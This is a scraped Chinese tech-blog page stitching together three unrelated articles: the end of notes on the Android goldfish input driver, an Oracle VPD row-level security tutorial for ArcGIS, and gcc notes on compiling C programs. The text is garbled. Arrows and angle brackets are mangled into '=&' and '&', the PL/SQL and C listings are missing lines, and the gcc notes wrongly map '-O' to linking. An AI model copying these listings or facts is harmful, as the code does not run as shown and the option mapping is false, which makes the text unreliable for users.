根据Ueventd.c的代码,当收到kernel报上来的属于input设备的事件后,将在/dev/input下按uevent传入的path名建立一个文件。【这部分代码需要兄弟们好好看看,不难。但以后如果有需要修改的话,事先了解下流程也行】
3.2 是谁发出了输入的uevent事件呢?
这个..我还真是第一次接触相关代码,只能靠野蛮搜索了。
driver/input/input.c中的input_init函数建立了input输入系统的相关框架。
这个文件中定义了一个函数input_register_handler,用于注册输入事件处理handler。没办法,野蛮搜索cgrep input_register_handler。有较多地方会注册这个处理事件。但我重点关注evdev和keyboard的地方。用source insight打开这两个文件,加上一些printk输出。给个示例图:
图1 野蛮搜索使用input_register_handler的地方。重点关注evdev和keyboard
在那两个文件中,加上一点输出。(kernel的一些基本API还是需要知道的吧?建议阅读linux driver develop的第三版。)
goldfish也有一个通用的driver,叫driver/input/keyboard/goldfish_events.c,其中它会注册一个platform_driver。platform_driver方面有一些基本的API,大家上网查查就知道用法了。和嵌入式系统关系很大。这个driver中有一个events_probe函数,用来判断哪些device可以交给goldfish_event driver来处理。这个应该是goldfish专用的driver。它应该和上面介绍的input是两个不同的东西。(我目前认为:input是input系统的一些通用框架,而goldfish_events是一个driver,它将探测一些device,然后再将这些device注册到input框架中。应该是这样,暂时不细研究了)。
大家可看看此驱动的events_probe函数,它将探测到一个qwerty2设备,然后注册到input框架中。图示如下:
图2 探测到一个设备,keymap为qwerty2,然后注册到input框架中
继续跟踪events_probe函数,里边有大量和input框架交互的地方。比较重要的一点就是为刚才那个qwerty2设备设置一些handler。从图1可知,两个重要的handler就是evdev和keyboard。
分别在这个两个文件中加一点输出。发现evdev中有个poll函数,而EventHub也会调用poll函数获取输入事件。从此可知,evdev这个handler将数据传递给EventHub。
此趟目标还算是达到了,把输入事件的产生流程搞清楚了,这里简单总结如下:
goldfish_events注册一个platform_driver。当它探测到输入设备时候,就会往input系统中注册
kernel会往input设备中注册一些handler。一个设备可以有多个串行的handler
goldfish_events将设置一个输入事件中断函数events_interrupt,当有事件来时候,该函数会将信息投递给input框架处理(调用input_event函数)
input_event函数将调用各个handler处理之。对于goldfish来说,最重要的handler就是evdev,它把信息整理并上报给EventHub。
本随笔的目标:
搭建一个虚拟设备环境,以及编译goldfish kernel并运行之。
简单理顺了BSP中input相关的流程。
再次强调说明:这一系列的随笔是快速理顺Android BSP中各块驱动的流程。
ArcGIS权限分析-如何对同一要素类对不同要素设置权限(Oracle)
ArcGIS权限分析-怎么对同一要素类对不同要素设置权限(Oracle)今天又接到用户来咨询怎么对同一要素类对不同要素设置权限的问题,看来这个需求大家都是非常迫切。
重新解释一下用户的要求,比如说我有一个整个北京市宗地的要素类,所有地区的要素类都在一起,但是有一个要求,用户只想在一个要素类里面进行操作,而且朝阳区国土局的工作人员只能编辑所属朝阳区的数据,海淀区国土局工作人员只能编辑所属海淀区的宗地,其实也就是一个同一要素类对不同要素设置权限的问题。
之所以有这个需求,大家都是所有数据在同一个要素类,而不是分区域要素类,那么对一个要素类的不同要素权限就显得需求迫切了。
在以前我也写过类似的文章,但是那些方法还是有不足之处,不是特别符合要求:http://blog.csdn.net/linghe301/article/details/7053965
今天在Esri中国论坛看到了一个帖子,启发很大,借助于他的建议,自己做了相关实验,还是可以满足相关需求的。
这里感谢@GAT5的分享精神:http://bbs./ESRI/viewthread.php?tid=125974&page=1&extra=#pid1067570
他的帖子细节写的不多,下面我就对我的这次测试,以及在测试中遇到的问题跟大家做分享。
预前知识:VPD
概述虚拟专用数据库(Virtual Private Database,VPD)将服务器实施的细粒度访问控制和安全应用程序上下文结合起来。支持上下文的函数返回一个谓词,即where子句,该子句自动附加到所有的select语句或其他DML语句。换句话说,由VPD控制的表、视图、同义词上的select语句将根据where子句返回行的子集,该子句由通过应用程序上下文生效的安全策略函数自动生成。VPD的主要组成部分是行级别的安全性(RLS),也称为"细粒度的访问控制"(FGAC)。
因为VPD在语句解析期间透明地生成谓词,因此无论用户是否正在运行特别的查询、检索应用程序中的数据或者查看Oracle Forms中的数据,都可以一致地实施安全策略。因为Oracle Server在解析时将谓词应用于语句,所以应用程序不需要使用特殊的表、视图等来实现该策略。因此,Oracle可以使用索引、物化视图和并行操作来优化查询,而以其他的方式则不能够进行优化。因此,相比于使用应用程序或其他方式过滤结果的查询,使用VPD可能会产生较少的系统开销。
从维护的角度来看,安全策略可以在安全函数中定义,使用角色和权限很难创建这种安全函数。类似地,应用程序服务器提供商(Application Server Provider,ASP)可能只需要建立一个数据库来为相同应用程序的多个客户服务,使用VPD策略来确保一个顾客的雇员只可以查看他们自己的数据。DBA可以使用少量的VPD策略维护一个较大的数据库,而不是针对每个客户都使用一个单独的数据库。
Oracle 10g中的新增内容是列级别的VPD操作。使用列级别的VPD,DBA可以约束对表中特定列的访问。查询返回相同数量的行,但如果用户的上下文不允许访问列,则在约束的列中返回NULL值。虚拟专用数据库如何工作将一个或多个安全策略与表或视图关联后,就可以实现虚拟专用数据库。对带安全策略的表进行直接或间接访问时,数据库将调用一个实施该策略的函数。策略函数返回一个访问条件(WHERE 子句),即谓词。应用程序将它附加到用户的 SQL 语句,从而动态修改用户的数据访问权限。你可以通过编写一个存储过程将 SQL 谓词附加到每个 SQL 语句(用于控制该语句的行级别访问权限)来实施 VPD。例如,如果 John Doe(他属于 Department 10)输入 SELECT * FROM emp 语句,则可以使用 VPD 添加 WHERE DEPT = 10 子句。这样,您便可以通过对查询进行修改来限制访问某些行的数据。虚拟专用数据库确保无论用户以何种方式访问数据(通过应用程序、报表编写工具或 SQL*Plus),都将强制实施同一强大的访问权限控制策略。这样,使用 VPD ,银行便可以确保客户只看到他们自己的帐户,电信公司可以安全地隔离客户记录,人力资源应用程序可以支持复杂的员工记录数据访问原则。
其实总结起来一句话,我们可以设置完毕之后,查询或者编辑过程中自动添加一个WHERE条件。
实验数据:
用户:SDE,我在SDE用户创建一个要素类test123,里面有一个X字段(整型)
SQL& desc sde.test123
是否为空? 类型
----------------------------------------- -------- ----------------------------
NOT NULL NUMBER(38)
NVARCHAR2(50)
ST_GEOMETRY
用户:DDD,普通用户
-- Create the user
create user DDD
identified by ""
default tablespace SDE
temporary tablespace TEMP
profile DEFAULT
-- Grant/Revoke object privileges
grant select, insert, update, delete on A69 to DDD;
grant select, insert, update, delete on D69 to DDD;
grant select, insert, update, delete on TEST123 to DDD;
grant select, insert, update, delete on TEST123_VW to DDD;
-- Grant/Revoke role privileges
grant connect to DDD;
grant resource to DDD;
-- Grant/Revoke system privileges
grant unlimited tablespace to DDD;
我使用ArcGIS的权限功能,将SDE用户的test123要素类给DDD赋予SELECT、INSERT、UPDATE、DELETE权限。
那么我使用DDD用户就可以看到sde用户下的test123的所有数据。
那么我的需求就是,我只想让DDD用户看到test123要素类中X=2的要素。
VPD包含两个要素:策略(policy),策略函数(policy Function)
编写策略函数(fn_reg)
CREATE OR REPLACE
FUNCTION fn_reg (p_owner in varchar2, p_object in varchar2) return varchar2 IS
v_region varchar2(20);
v_region := sys_context('USERENV','SESSION_USER');--获得登录用户
if v_region = 'DDD' then ---如果登录用户是DDD
---相关WHERE条件就是X=2
如果用户比较多,可以将这个用户放在一个表中,或者参考上面的链接,好像编写策略函数不支持else if
一般情况下通过完善策略函数来对用户的业务进行定义
策略(policy)用户管理(添加、删除、修改)对那些对象(表或视图)执行RLS(行级安全)控制。添加策略
dbms_rls.add_policy(object_schema =& 'sde',object_name =& 'test123',policy_name =& 'pol',function_schema =& 'sde',policy_function =& 'fn_reg',Statement_Types =&'Select,Insert,Update,Delete,Index',Enable =&True);
dbms_rls.add_policy(object_schema =& 'sde',object_name =& 'a69',policy_name =& 'pol_a',function_schema =& 'sde',policy_function =& 'fn_reg',Statement_Types =&'Select,Insert,Update,Delete,Index',Enable =&True);
dbms_rls.add_policy(
object_schema =& 'sde', ——用户
object_name =& 'test123',——对test123要素类
policy_name =& 'pol',——策略名称
function_schema =& 'sde',——策略函数所属用户
policy_function =& 'fn_reg',——上面编写的策略函数
Statement_Types =&'Select,Insert,Update,Delete,Index',——相关权限
Enable =&True); ——是否启动策略
添加策略的相关属性
object_schema
包含由策略保护的表、视图或同义词的模式。如果该值是NULL,则使用调用过程的用户的模式
object_name
由策略保护的表、视图或同义词的名称
policy_name
添加到该对象的策略的名称。对于受保护的每个对象,该策略名必须唯一
function_schema
拥有策略函数的模式;如果该值为NULL,则使用调用过程的用户的模式
policy_function
函数名称,该函数为针对object_name的策略生成谓词。如果函数是程序包的一部分,则在此处必须也指定程序包名,用于限定策略函数名
statement_types
应用策略的语句类型。允许的值(以逗号分隔)可以是SELECT、INSERT、UPDATE、DELETE和INDEX的任意组合。默认情况下,除了INDEX之外的所有类型都适用
update_check
对于INSERT或UPDATE类型,该参数是可选项,它默认为FALSE。如果该参数为TRUE,则在检查SELECT或DELETE操作时,则对INSERT或UPDATE语句也要检查该策略
该参数默认为TRUE,表明添加该策略时是否启用它
Static_policy
如果该参数为TRUE,该策略为任何访问该对象的人产生相同的谓词字符串,除了SYS用户或具有EXEMPT ACCESS POLICY权限的任何用户。该参数的默认值为FALSE
policy_type
如果该值不是NULL,则覆盖static_policy。可允许的值是STATIC、SHARED_STATIC、CONTEXT_SENSITIVE、SHARED_CONTEXT_SENSITIVE和DYNAMIC
Long_predicate
该参数默认为FALSE。如果它为TRUE,谓词字符串最多可为32K字节长。否则,限制为4000字节
sec_relevant_cols
实施列级别的VPD,这是Oracle 10g的新增内容。只应用于表和视图。在列表中指定受保护的列,使用逗号或空格作为分隔符。该策略只应用于指定的敏感列位于查询或DML语句中时。默认情况下,所有的列都是受保护的
sec_relevant_cols_opt
允许在列级别VPD过滤查询中的行仍然出现在结果集中,敏感列返回NULL值。该参数的默认值为NULL;如果不是默认值,则必须指定DBMS_RLS.ALL_ROWS,用于显示敏感列为NULL的所有列
注意:上面为什么还有对a69表进行添加策略,如果用户将test123注册版本了,那么会产生相关的A表。
删除策略BEGIN
DBMS_RLS.drop_policy (object_schema
object_name
=& 'test123',
policy_name
=& 'POL');
添加之后,我们需要查看一下是否有效
1:可以使用PL/SQL进入sde用户下查看Function的fn_reg是否编译正确
2:查看V$VPD_POLICY特别注意PREDICATE是有相关的条件信息比如X=2SQL& select object_owner,object_name,policy,predicate from V$VPD_POLICY;
OBJECT_OWNER
OBJECT_NAME
------------------------------ ------------------------------ ------------------------------ -------------------------
POLICY_LIMITED_QUERY_T
X &= 10000
那么进行测试,我使用sde用户登录之后
那么我使用ddd用户登录之后
我们可以使用ddd用户只过滤x=2的要素。
那么我们在ArcMap上连接ddd用户对test123进行编辑,一开始老报ORA-28115: 策略违反检验选项。
倒腾半天,忽然开窍,我设置的策略是过滤X=2,那么我新建要素并没有设置X=2,所以报ora-28115错误。
刚好,我可以使用ddd用户连接,设置一个编辑模板,这个编辑模板设置x=2即可。
通过上面的测试,我们就可以模拟,在同一个要素类对不同的要素进行权限的设置,而且可以进行相关的读和写的操作。
也就是可以实现:
一个要素类包含北京市的所有数据,那么海淀区用户只能看到而且只能编辑海淀区的数据,朝阳区用户只能看到而且只能编辑朝阳区的数据,北京市局的用户可以查看和编辑所有区的数据。
而且即便是用户通过SQLPLUS的方法查看表也是只能查看自己区域的数据,安全性也得到了保证。
由于上面使用的都是纯Oracle知识,还不确定是否在应用在ArcSDE里面有没有相关的Bug或者问题,这个有待大家一块交流和分享。
-------------------------------------------------------------------版权所有,文章允许转载,但必须以链接方式注明源地址,否则追究法律责任!-------------------------------------------------------------------
gcc 学习笔记(1) - 编译C程序 及 编译过程
gcc 学习笔记(一) - 编译C程序 及 编译过程
一. C程序编译过程
编译过程简介 : C语言的源文件 编译成 可执行文件需要四个步骤, 预处理 (Preprocessing) 扩展宏, 编译 (compilation) 得到汇编语言, 汇编 (assembly) 得到机器码, 连接 (linking) 得到可执行文件;
-- 查看每个步骤的编译细节 : "-E" 对应 预处理, "-S" 对应 编译, "-c" 对应 汇编, "-O" 对应 连接;
-- 每个步骤对应的工具 : 预处理器 (CPP - The C Preprogressor), 编译器 (cc1), 汇编器 (as), 连接器 (ld);
-- 查看总体编译细节 : 使用 "-v" 参数, 可以查看总体编译细节;
octopus@octopus:~/test$ gcc -v main.c
使用内建 specs。
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/i686-linux-gnu/4.6/lto-wrapper
目标:i686-linux-gnu
配置为:../src/configure -v --with-pkgversion='Ubuntu/Linaro 4.6.3-1ubuntu5' --with-bugurl=file:///usr/share/doc/gcc-4.6/README.Bugs --enable-languages=c,c++,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.6 --enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.6 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --enable-plugin --enable-objc-gc --enable-targets=all --disable-werror --with-arch-32=i686 --with-tune=generic --enable-checking=release --build=i686-linux-gnu --host=i686-linux-gnu --target=i686-linux-gnu
线程模型:posix
gcc 版本 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5)
COLLECT_GCC_OPTIONS='-v' '-mtune=generic' '-march=i686'
/usr/lib/gcc/i686-linux-gnu/4.6/cc1 -quiet -v -imultilib . -imultiarch i386-linux-gnu main.c -quiet -dumpbase main.c -mtune=generic -march=i686 -auxbase main -version -fstack-protector -o /tmp/ccUWUvbm.s
GNU C (Ubuntu/Linaro 4.6.3-1ubuntu5) 版本 4.6.3 (i686-linux-gnu)
由 GNU C 版本 4.6.3 编译, GMP 版本 5.0.2,MPFR 版本 3.1.0-p3,MPC 版本 0.9
GGC 准则:--param ggc-min-expand=100 --param ggc-min-heapsize=131072
忽略不存在的目录“/usr/local/include/i386-linux-gnu”
忽略不存在的目录“/usr/lib/gcc/i686-linux-gnu/4.6/../../../../i686-linux-gnu/include”
#include "..." 搜索从这里开始:
#include &...& 搜索从这里开始:
/usr/lib/gcc/i686-linux-gnu/4.6/include
/usr/local/include
/usr/lib/gcc/i686-linux-gnu/4.6/include-fixed
/usr/include/i386-linux-gnu
/usr/include
搜索列表结束。
GNU C (Ubuntu/Linaro 4.6.3-1ubuntu5) 版本 4.6.3 (i686-linux-gnu)
由 GNU C 版本 4.6.3 编译, GMP 版本 5.0.2,MPFR 版本 3.1.0-p3,MPC 版本 0.9
GGC 准则:--param ggc-min-expand=100 --param ggc-min-heapsize=131072
Compiler executable checksum: 09c248eab598b9e2acb117da4cdbd785
COLLECT_GCC_OPTIONS='-v' '-mtune=generic' '-march=i686'
as --32 -o /tmp/cciJfMAd.o /tmp/ccUWUvbm.s
COMPILER_PATH=/usr/lib/gcc/i686-linux-gnu/4.6/:/usr/lib/gcc/i686-linux-gnu/4.6/:/usr/lib/gcc/i686-linux-gnu/:/usr/lib/gcc/i686-linux-gnu/4.6/:/usr/lib/gcc/i686-linux-gnu/
LIBRARY_PATH=/usr/lib/gcc/i686-linux-gnu/4.6/:/usr/lib/gcc/i686-linux-gnu/4.6/../../../i386-linux-gnu/:/usr/lib/gcc/i686-linux-gnu/4.6/../../../../lib/:/lib/i386-linux-gnu/:/lib/../lib/:/usr/lib/i386-linux-gnu/:/usr/lib/../lib/:/usr/lib/gcc/i686-linux-gnu/4.6/../../../:/lib/:/usr/lib/
COLLECT_GCC_OPTIONS='-v' '-mtune=generic' '-march=i686'
/usr/lib/gcc/i686-linux-gnu/4.6/collect2 --sysroot=/ --build-id --no-add-needed --as-needed --eh-frame-hdr -m elf_i386 --hash-style=gnu -dynamic-linker /lib/ld-linux.so.2 -z relro /usr/lib/gcc/i686-linux-gnu/4.6/../../../i386-linux-gnu/crt1.o /usr/lib/gcc/i686-linux-gnu/4.6/../../../i386-linux-gnu/crti.o /usr/lib/gcc/i686-linux-gnu/4.6/crtbegin.o -L/usr/lib/gcc/i686-linux-gnu/4.6 -L/usr/lib/gcc/i686-linux-gnu/4.6/../../../i386-linux-gnu -L/usr/lib/gcc/i686-linux-gnu/4.6/../../../../lib -L/lib/i386-linux-gnu -L/lib/../lib -L/usr/lib/i386-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/i686-linux-gnu/4.6/../../.. /tmp/cciJfMAd.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/i686-linux-gnu/4.6/crtend.o /usr/lib/gcc/i686-linux-gnu/4.6/../../../i386-linux-gnu/crtn.o
预处理命令 : 源程序中 以 "#" 开头的命令是 预处理命令, 如 "#include", "#define", "ifndef" 等;
预处理过程 : 预处理将 include 的文件插入到 源文件中, 展开 define 宏定义, 根据条件 编译代码;
编译下面的源程序 :
/*************************************************************************
& File Name: main.c
& Author: octopus
& Mail: octopus_
& Created Time: 日 星期三 17时31分08秒
************************************************************************/
#include&stdio.h&
#define NUM 5
int main(int argc, char **argv)
printf("Hello World ! num = %d \n", NUM);
预处理结果 : 预处理 源程序 产生的结果会放到 ".i" 后缀的文件中, 默认情况下 ".i" 后缀文件是不写到磁盘中的, 如果加上 "-save-temps" 参数, 就会将所有的中间文件都保存到磁盘中;
-- 分析下面的例子 : 使用 gcc -save-temps main.c 命令编译源程序, 所有的中间文件都会保留, main.i 是预处理结果, main.s 是编译结果, main.o 是汇编结果, a.out 是连接生成的可执行文件;
octopus@octopus:~/test$ ls
octopus@octopus:~/test$ gcc -save-temps main.c
octopus@octopus:~/test$ ls
octopus@octopus:~/test$ ./a.out
Hello World ! num = 5
查看预处理细节 : 使用 gcc -E mian.c 命令, 会输出编译细节, 打印出上千行, 这里只贴出部分;
octopus@octopus:~/test$ gcc -E main.c
# 1 "main.c"
# 1 "&built-in&"
# 1 "&命令行&"
# 1 "main.c"
# 1 "/usr/include/stdio.h" 1 3 4
# 28 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 324 "/usr/include/features.h" 3 4
# 9 "main.c" 2
int main(int argc, char **argv)
printf("Hello World ! \n");
在 gcc 命令行中进行宏定义 : 使用 gcc -DNUM=5 main.c 命令, 在程序中就可以使用 NUM 宏定义了, "-DNUM" 相当于在程序中定义了 "#define NUM 5";
-- main.c 内容 :
/*************************************************************************
& File Name: main.c
& Author: octopus
& Mail: octopus_
& Created Time: 日 星期三 17时31分08秒
************************************************************************/
#include&stdio.h&
int main(int argc, char **argv)
printf("Hello World ! num = %d \n", NUM);
-- 编译过程 :
octopus@octopus:~/test$ gcc -DNUM=5 main.c
octopus@octopus:~/test$ ./a.out
Hello World ! num = 5
编译流程 : 编译器在编译阶段依次执行 词法分析, 语法分析, 代码优化, 存储分配, 代码生成 五个步骤;
-- 多次扫描方案 : 编译器每次扫描代码只完成一项工作, 如 第一次扫描 只进行词法分析, 第二次扫描进行 语法分析, 扫描多次完成上面的五个步骤;
生成中间的汇编中间文件 : 使用 gcc -S main.c 编译上面的 main.c 源程序, 可以得到 mian.s 汇编语言文件, 这是产生的中间汇编程序;
-- 编译过程 及 结果 :
octopus@octopus:~/test$ gcc -S main.c
octopus@octopus:~/test$ cat main.s
.file "main.c"
.section .rodata
.string "Hello World ! num = %d \n"
.globl main
.type main, @function
.cfi_startproc
pushl %ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8
movl %esp, %ebp
.cfi_def_cfa_register 5
andl $-16, %esp
subl $16, %esp
movl $.LC0, %eax
movl $5, 4(%esp)
movl %eax, (%esp)
call printf
movl $0, %eax
.cfi_restore 5
.cfi_def_cfa 4, 4
.cfi_endproc
.size main, .-main
.ident "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3"
.section .note.GNU-stack,"",@progbits
octopus@octopus:~/test$
汇编过程 : 汇编 就是将 汇编语言代码 翻译成 机器码, 也就是 ".o" 后缀的对象文件, 该过程 使用 汇编器 as 实现;
获取中间文件 : "-c" 选项可以保留 汇编过程中的 ".o" 后缀的中间文件, 使用 gcc -c main.c 命令, 可以获得 main.o 对象文件;
octopus@octopus:~/test$ ls
octopus@octopus:~/test$ gcc -c main.c
octopus@octopus:~/test$ ls
链接过程 : 使用 ld 连接器, 将 汇编 过程中生成的 ".o" 对象文件, 与其它 对象文件 和 库文件连接起来, 生成可执行的二进制文件;
连接示例 : 使用 gcc main.o 将汇编过程生成的对象文件 main.o , 生成可执行文件 a.
octopus@octopus:~/test$ gcc main.o
octopus@octopus:~/test$ ./a.out
Hello World ! num = 5
二. 编译C程序
1. 编译单个C程序
C语言程序示例 : 简单的Hello W
/*************************************************************************
& File Name: main.c
& Author: octopus
& Mail: octopus_
& Created Time: 日 星期六 16时22分26秒
************************************************************************/
#include&stdio.h&
int main(int argc, char **argv)
printf("Hello World! \n");
简单编译 : 使用 gcc main.c 命令, 会生成 a.out 可执行文件, 使用 ./a.out 可以执行编译好的C程序;
octopus@octopus:~/gcc$ gcc main.c
octopus@octopus:~/gcc$ ./a.out
Hello World!
指定输出文件编译 : 如果不想使用 a.out 作为输出文件, 可以使用 -o 参数指定输出文件, 如果该文件存在就会覆盖;
-- 命令 : gcc main.c -o main;
octopus@octopus:~/gcc$ gcc main.c -o main
octopus@octopus:~/gcc$ ./main
Hello World!
显示警告选项 : -Wall 选项, 可以在编译的时候, 将警告信息输出到终端中;
-- 编译输出警告信息 : gcc -Wall main.c;
人为制造警告 : 在 printf 输出的时候, 使用 %s 作为一个 int 数据的占位符;
/*************************************************************************
& File Name: main.c
& Author: octopus
& Mail: octopus_
& Created Time: 日 星期六 16时22分26秒
************************************************************************/
#include&stdio.h&
int main(int argc, char **argv)
printf("Hello World!
num = %s\n", 4);
-- 执行编译 : gcc -Wall main.c, 编译的时候报出警告, 但是编译通过, 但是运行的时候就出错了;
octopus@octopus:~/gcc$ gcc main.c
main.c: 在函数‘main’中:
main.c:12:2: 警告: 格式 ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘int’ [-Wformat]
octopus@octopus:~/gcc$ ./a.out
段错误 (核心已转储)
2. 编译多个文件
由三个文件组成的程序 : kill.h, kill.c, main.c, 其中 main.c 是主函数入口, 调用 kill.c 定义的方法;
-- kill.h 内容 : 声明 kill 方法, 引用了该头文件, 即可使用 kill 方法;
/*************************************************************************
& File Name: kill.h
& Author: octopus
& Mail: octopus_
& Created Time: 日 星期六 20时51分59秒
************************************************************************/
#ifndef KILL
int kill(char *);
-- kill.c 内容 : 主要实现 kill.h 中声明的 kill 方法;
/*************************************************************************
& File Name: kill.c
& Author: octopus
& Mail: octopus_
& Created Time: 日 星期六 20时53分53秒
************************************************************************/
#include&stdio.h&
int kill(char *ch)
printf("%s \n", ch);
-- mian.c内容 : 引用 kill.h 库;
/*************************************************************************
& File Name: main.c
& Author: octopus
& Mail: octopus_
& Created Time: 日 星期六 16时22分26秒
************************************************************************/
#include&stdio.h&
#include"kill.h"
int main(int argc, char **argv)
printf("Hello World! \n");
kill("fuck");
引用头文件库符号区别 : #include"kill.h" #include&kill.h& ;
-- #include "kill.h" : 先在当前目录搜索 kill.h 头文件, 在到系统中搜索该头文件;
-- #include &kill.h& : 直接去系统库中寻找头文件, 不会搜索当前目录;
编译文件 : 使用 gcc -Wall main.c kill.c -o kill 进行编译;
octopus@octopus:~/gcc$ gcc -Wall main.c kill.c -o kill
octopus@octopus:~/gcc$ ./kill
Hello World!
3. 独立编译文件
开发需求 : 当一个项目比较大的时候, 整个项目编译时间会很长, 如果改变一个函数就需要重新编译整个项目, 就会很浪费时间;
-- 解决方案 : 程序被存储在多个源文件中, 每个源文件都单独进行编译;
单独编译多个源文件步骤 :
首先生成 对象文件, 再将对象文件链接生成可执行文件;
-- 编译对象文件 : 将源程序编译成不可执行的文件, 生成 .o 后缀的对象文件;
-- 链接程序 : gcc 中有一个链接器将所有的对象文件链接到一起, 生成一个可执行文件;
解析对象文件 : 文件中存放的是机器码, 机器码中对其他文件中的 函数 或者 变量引用的地址没有解析, 当链接程序的时候才将这些地址写入;
生成对象文件 : -c 参数用于生成 对象文件;
-- 生成kill.o对象文件 : gcc -Wall -c kill.c , 会生成 kill.o 文件, 该对象文件中引用 kill 方法, 该方法对应的地址没有被解析;
octopus@octopus:~/gcc$ gcc -Wall -c kill.c
octopus@octopus:~/gcc$ ls
-- 生成 main.o对象文件 : gcc -Wall -c mian.c, 生成 main.o 文件;
octopus@octopus:~/gcc$ gcc -Wall -c main.c
octopus@octopus:~/gcc$ ls
链接对象文件 : gcc main.o kill.o -o main 命令, 链接 main.o 和 kill.o 两个对象文件;
-- 不许要-Wall参数 : 链接程序只有两种结果, 成功 或者 失败, 不许要警告信息了;
-- 链接器 : gcc中ld链接器 用来链接对象文件;
octopus@octopus:~/gcc$ gcc main.o kill.o -o main
octopus@octopus:~/gcc$ ./main
Hello World!
对象文件的链接次序 : 大部分编译器都可以随意排列顺序, 但是有的编译器需要注意链接次序;
-- 编译器和连接器次序 : 编译器和链接器搜索外部函数 是 从左到右进行查找;
-- 文件次序 : 调用函数的 对象文件, 该文件应该先于 定义函数的 对象文件, 这里 main.o 应该在 kill.o 之前;
-- 错误排查 : 如果在编译程序的时候, 列出了所有的文件, 但是还出现了 未定义 错误, 就需要注意 文件排列的问题;
修改文件流程 : 当修改了一个文件之后, 只需要 重新编译这个文件即可, 之后将这个新编译的对象文件 与 原来的对象文件进行链接, 即可生成新的可执行文件;
-- 重新编译 : 当修改了一个文件之后, 只需要将这个文件重新编译成 对象文件即可;
-- 重新链接 : 将新编译的对象文件, 与之前已经编译好的 其它源文件的对象文件进行链接即可;
如果您想提高自己的技术水平,欢迎加入本站官方1号QQ群:&&,&&2号QQ群:,在群里结识技术精英和交流技术^_^
本站联系邮箱:}

我要回帖

更多关于 清明如何放假 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信